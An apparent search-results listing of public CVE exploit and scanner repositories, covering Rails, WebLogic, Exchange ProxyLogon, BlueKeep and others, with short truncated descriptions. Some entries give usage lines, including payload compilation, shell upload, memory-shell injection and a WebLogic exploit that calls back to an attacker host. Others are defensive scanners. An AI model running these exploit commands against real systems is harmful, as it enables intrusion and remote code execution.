1305452 matches found
Rails-doubletap-RCE
Rails-doubletap-exploit RCE on Rails 5.2.2 using a path traversal CVE-2019-5418 and a deserialization of Ruby objects CVE-2019-5420 Technical Analysis : CVE-2019-5418 - https://github.com/mpgn/CVE-2019-5418 CVE-2019-5420 - https://hackerone.com/reports/473888 Security Adivsory : CVE-2019-5418 -...
CVE-2026-3888-PoC
CVE-2026-3888-PoC compile payload gcc -shared -fPIC -o /tmp/libpayload.so payload.c...
QUIC-attacks
QUIC-attacks CVE-2022-30591 The current repository serves the purpose of sharing the scripts we used for educational usage. These attacks were a part of our study check here, and were tested against 6 different QUIC-enabled servers IIS, NGINX, LiteSpeed, Cloudflare, H2O, and Caddy. The quic-loris...
CVE-2023-23752
This repository does not have a README...
SpookySSL-Scanner
SpookySSL-Scanner SpookySSL CVE-2022-3602 SSLv3 Scanner for Windows, Linux, macOS Turkish Zafiyet Nasıl Oluşuyor? Öncelikle sorun byte boyutunu belirlerken ortaya çıkıyor. Bayt boyutunu belirlerken farkındaysanız NULL yani boş/sıfır değer tanımlanmamış yani bayt uzunluğu sıfır olarak...
CVE-2025-49113
CVE-2025-49113 RCE exploit the method for username/password authentication in this Exploit comes in 4 steps the code is a bit messy...
CVE-2025-23369
CVE-2025-23369 CVE-2025-23369 exploit, write up here...
CVE-2023-23397-PoC
CVE-2023-23397-PoC Versión solo de envío en C de CVE-2023-23397-POC-Powershell por Oddvar Moe @oddvarmoe Envía un correo electrónico desde la dirección asociada a la cuenta de Outlook. root@kitploit: .\CVE202323397.exe --help CVE202323397 1.0.0.0 Copyright c 2023 -t, --to Required. Recipient emai...
CVE-2020-0796-Scanner
SMBGhostscanner Simple scanner for CVE-2020-0796 - SMBv3. The scanner is for meant only for testing whether a server is vulnerable. It is not meant for research or development, hence the fixed payload. It checks for SMB dialect 3.1.1 and compression capability through a negotiate request...
CVE-2022-22947
Introduction Inject Godzilla memory shell via CVE-2022-22947. Since the tools I found didn't have proxy functionality, I built my own wheel. Usage root@kitploit: main -u http://127.0.0.1:8080 Using proxy root@kitploit: main -u http://127.0.0.1:8080 -p http://10.0.0.1:8080 Reference...
CVE-2018-2636
Install root@kitploit: $ pip install --user requests argparse unicodedata Info POC for CVE-2018-2636. Usage example root@kitploit: python eGw.py -H 127.0.0.1 -P 8080 -i ... Let's get info about server ! Your instance is vulnerable to CVE-2018-2636 ... Links Oracle Critical Patch Update Advisory...
COMahawk
COMahawk Privilege Escalation: Weaponizing CVE-2019-1405 and CVE-2019-1322 Video Demo https://vimeo.com/373051209 Usage Compile or Download from Release https://github.com/apt69/COMahawk/releases 1. Run COMahawk.exe 2. ??? 3. Hopefully profit or 1. COMahawk.exe "custom command to run" ie...
CVE-2019-0709
CVE-2019-0708 BlueKeep Exploit CVE-2019-0708 RCE y Crash Exploit usando Python Crash Exploit Publicado Uso: python3 crashexploit.py 127.0.0.1 64 RCE Exploit No Publicado Uso: python3 exploitrce.py 127.0.0.1 payload...
ProxyLogon
ProxyLogon ProxyLogon is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin. We have also chained this bug with another post-auth arbitrary-file-write vulnerability,...
CVE-2026-2441_PoC
CVE-2026-2441PoC...
weblogic_wls_wsat_rce
weblogicwlswsatrce Weblogic wls-wsat component deserialization vulnerability CVE-2017-10271 exploit script, modified fromhttps://github.com/s3xy/CVE-2017-10271. Command execution with output Directly upload shell Tested OK on Linux Weblogic 10.3.6.0 Usage and Parameters python weblogicwlswsatexp....
weblogic-cve-2018-2628
weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...
ban-exploitable-bitcoin-nodes
ban-exploitable-bitcoin-nodes Ban all denial-of-service vulnerability exploitable nodes from your node CVE-2018-17144 Requirements for the bash script ban.sh Command-line JSON processor jq. Install on Debian-based Linux root@kitploit: sudo apt-get install jq Download and use the script git clone...
CVE-2025-29927-Testing
Testing script for CVE-2025-29927 Provided by CyberMaxx. CVE-2025-29927 Tester This PowerShell script is designed to help security researchers and system administrators test for CVE-2025-29927 vulnerabilities in Next.js applications. It checks whether a target application is vulnerable to the...